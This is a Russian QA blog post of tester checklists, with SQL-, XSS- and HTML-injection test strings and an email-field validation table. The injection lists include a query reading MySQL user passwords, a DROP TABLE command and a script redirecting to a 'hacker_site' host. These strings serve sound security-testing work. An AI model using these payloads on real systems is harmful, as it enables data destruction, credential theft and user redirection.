Показаны сообщения с ярлыком Чек-лист. Показать все сообщения
Показаны сообщения с ярлыком Чек-лист. Показать все сообщения

05.04.2019

Чек-листы для проверки XSS, SQL- и HTML-инъекций

В продолжение темы чек-листов для тестировщиков ПО. Будете учиться, знаете где списать)
SQL-инъекции кавычка '
OR '1'='1'
' or '1'='1' -- '
' or '1'='1' ({ '
' or '1'='1' /* '
12345) AND 1=1--:hash
SELECT user(); или SELECT system_user();
SELECT host, user, password FROM mysql.user;
SELECT database()
DROP TABLE user;




XSS <script>alert("xss-injection!")</script>
<script>document.getElementByID("...").disabled=true</script>
<script>window.parent.location.href='http://hacker_site';</script>
<img src=javascript:alert('xss-injection!')>
<input onclick="javascript:alert('xss-injection');">
<b onmouseover="alert('xss-injection!')">Hello</b>




HTML-инъекции </body>
<textarea />
<input></input>
<form action="http://google.com"><input type="submit"></form>

Чек-лист для проверки поля email для тестеров

Проверка Ожидаемый результат
1 Пустое поле email Сообщение о незаполненном поле email
2 Email в нижнем регистре Значение поля принимается
3 Email в верхнем регистре Значение поля принимается
4 Email с цифрами в имени пользователя Значение поля принимается
5 Email с цифрами в доменной части Значение поля принимается
6 Email с дефисом в имени пользователя Значение поля принимается
7 Email с дефисом в доменной части Значение поля принимается
8 Email со знаком подчеркивания в имени пользователя Значение поля принимается
9 Email со знаком подчеркивания в доменной части Значение поля принимается
10 Email с точками в имени пользователя Значение поля принимается
11 Email с несколькими точками в доменной части Значение поля принимается
12 Email без точек в доменной части Сообщение о некорректном email
13 Превышение длины email (>320 символов) Сообщение о некорректном email
14 Отсутствие @ в email Сообщение о некорректном email
15 Email с пробелами в имени пользователя Сообщение о некорректном email
16 Email с пробелами в доменной части Сообщение о некорректном email
17 Email без имени пользователя Сообщение о некорректном email
18 Email без доменной части Сообщение о некорректном email
19 Некорректный домен первого уровня (допустимо 2-6 букв после точки: .ru) Сообщение о некорректном email
20 Email с кириллическим доменным именем (login@домен.рф) ?